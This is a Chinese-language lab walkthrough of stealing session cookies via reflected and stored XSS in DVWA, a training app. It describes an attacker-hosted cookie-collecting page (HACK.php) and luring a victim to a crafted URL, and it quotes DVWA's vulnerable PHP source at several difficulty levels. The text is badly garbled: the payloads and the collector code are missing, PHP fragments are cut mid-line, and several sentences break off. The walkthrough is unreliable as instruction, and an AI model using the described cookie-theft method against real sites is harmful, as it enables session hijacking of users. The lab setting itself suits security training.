XSS获取cookie

   DVWA XSS获取cookie

反射型

一、LOW

1.被害者已经登录http://127.0.0.1/DVWA/vulnerabilities/xss_r/ 网站,该网站存在xss漏洞。

网站源代码如下:未进行任何过滤

Hello ' . $_GET[ 'name' ] . '
'; } ?>

2.攻击者新建网站http://127.0.0.1/xss/,并在该网站下写入HACK.php,代码如下。

3.引导受害者访问地址,必要时对进行编码。

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=

4.获取到受害者在http://127.0.0.1/DVWA/vulnerabilities/xss_r/网站的cookie信息。

二、MEDIUM

网站源代码:

', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"; } ?>

过滤了

三、HIGH

源代码:

Hello ${name}
"; } ?>

过滤了

今后每次访问该界面都返回cookie。

再次实验时删除MySQL数据库中数据即可。

2.MEDIUM


Stored XSS Source
', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>
  • strip_tags()函数去除html标签
    htmlspecialchars()函数,将预定义字符转换成html实体
    str_replace()函数,转义函数,将指定的字符或字符串转换成别的字符,这里是将

    今后每次访问该界面都返回cookie。

    
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); //mysql_close(); } ?>
    • 这个源码比中级别的多了一个过滤函数来过滤name的值,preg_replace()函数,进行正则表达式匹配防止大小写,多重输入字符绕过过滤函数。

    • 这个函数虽然不错,但是我们不用与低中级相似的payload,不就可以成功绕过这个函数了嘛!我们构造payload: